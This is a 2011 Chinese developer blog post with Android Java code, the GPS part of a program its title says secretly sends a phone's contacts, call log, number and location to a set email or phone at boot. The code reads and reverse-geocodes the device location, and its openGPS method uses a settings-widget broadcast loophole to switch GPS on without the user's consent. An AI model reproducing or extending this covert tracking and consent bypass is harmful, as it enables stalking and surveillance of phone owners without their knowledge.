---
title: "开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里，失败则发送短信到指定手机之（gps操作）"
author: "erwin_king"
date: "2011-11-08T12:48:50Z"
tags: []
categories: ["移动开发"]
slug: "gps"
draft: false
lastmod: "2011-11-08T12:48:50Z"
id: 1242742
url: "https://erwin-king.iteye.com/blog/1242742"
---

public static String getCityNameByGps() {

  LocationManager lm = (LocationManager) context  
    .getSystemService(Context.LOCATION\_SERVICE);  
  Criteria criteria = new Criteria();  
  criteria.setAccuracy(Criteria.ACCURACY\_FINE); // 高精度  
  criteria.setAltitudeRequired(false); // 不要求海拔信息  
  criteria.setBearingRequired(false); // 不要求方位信息  
  criteria.setCostAllowed(true); // 是否允许付费  
  criteria.setPowerRequirement(Criteria.POWER\_LOW); // 低功耗  
  String provider = lm.getBestProvider(criteria, true); // 获取GPS信息  
  Location location = lm.getLastKnownLocation(provider); // 通过GPS获取位置

  updateToNewLocation(location);  
  // 设置监听器，自动更新的最小时间为间隔N秒(1秒为1\*1000，这样写主要为了方便)或最小位移变化超过N米  
  LocationListener locationListener = new LocationListener() {  
   @Override  
   public void onLocationChanged(Location location) {  
    updateToNewLocation(location);  
   }

   @Override  
   public void onProviderDisabled(String provider) {  
    // TODO Auto-generated method stub  
   }

   @Override  
   public void onProviderEnabled(String provider) {  
    // TODO Auto-generated method stub  
   }

   @Override  
   public void onStatusChanged(String provider, int status,  
     Bundle extras) {

   }

  };  
  // lm.requestLocationUpdates(provider, 3000, 1, locationListener);  
  return addressString;  
 }

 /\**  
  *  
  * \[功能描述].  
  *  
  * @param location  
  *            \[参数说明]  
  * @createTime 2011-10-11 下午03:22:21  
  \*/  
 public static void updateToNewLocation(Location location) {  
  // System.out.println("begin updateLocation\*\*\*\*");

  if (location != null) {  
   // System.out.println("location is null");  
   double lat = location.getLatitude();  
   double lon = location.getLongitude();  
   // System.out.println("get lattitude from GPS ===&gt;" + lat);  
   // System.out.println("get Longitude from GPS ===&gt;" + lon);

   // GeoPoint gPoint = new GeoPoint((int) lat, (int) lon);

   StringBuilder sb = new StringBuilder();

   Geocoder gc = new Geocoder(context, Locale.getDefault());  
   try {  
    List&lt;Address&gt; addresses = gc.getFromLocation(lat, lon, 1);  
    if (addresses.size() &gt; 0) {  
     Address address = addresses.get(0);  
     // for (int i = 0; i &lt; address.getMaxAddressLineIndex();  
     // i++) {  
     sb.append(address.getAddressLine(1)).append("\\n");  
     // sb.append(address.getLocality()).append("\\n");

     // sb.append(address.getCountryName()).append("\\n");  
     addressString = sb.toString();

     // }  
    }

   } catch (IOException e) {  
    // TODO Auto-generated catch block  
    e.printStackTrace();  
    addressString = "未知地区";  
   }

  }  
  // System.out.println("end updateLocation\*\*\*\*");  
 }

 /\**  
  * 获取GPS状态  
  *  
  * @param context  
  * @return  
  \*/  
 public static boolean getGPSState() {  
  LocationManager locationManager = (LocationManager) context  
    .getSystemService(Context.LOCATION\_SERVICE);  
  // 判断GPS模块是否开启，如果没有则开启  
  if (!locationManager  
    .isProviderEnabled(android.location.LocationManager.GPS\_PROVIDER)) {  
   return false;  
  } else {  
   return true;  
  }  
 }

 public static void openGPS() {  
  LocationManager locationManager = (LocationManager) context  
    .getSystemService(Context.LOCATION\_SERVICE);

  if (!locationManager  
    .isProviderEnabled(android.location.LocationManager.GPS\_PROVIDER)) {

   Intent gpsIntent = new Intent();  
   gpsIntent.setClassName("com.android.settings",  
     "com.android.settings.widget.SettingsAppWidgetProvider");  
   gpsIntent.addCategory("android.intent.category.ALTERNATIVE");  
   gpsIntent.setData(Uri.parse("custom:3"));  
   try {  
    PendingIntent.getBroadcast(context, 0, gpsIntent, 0).send();  
   } catch (CanceledException e) {  
    e.printStackTrace();  
   }  
  }  
 }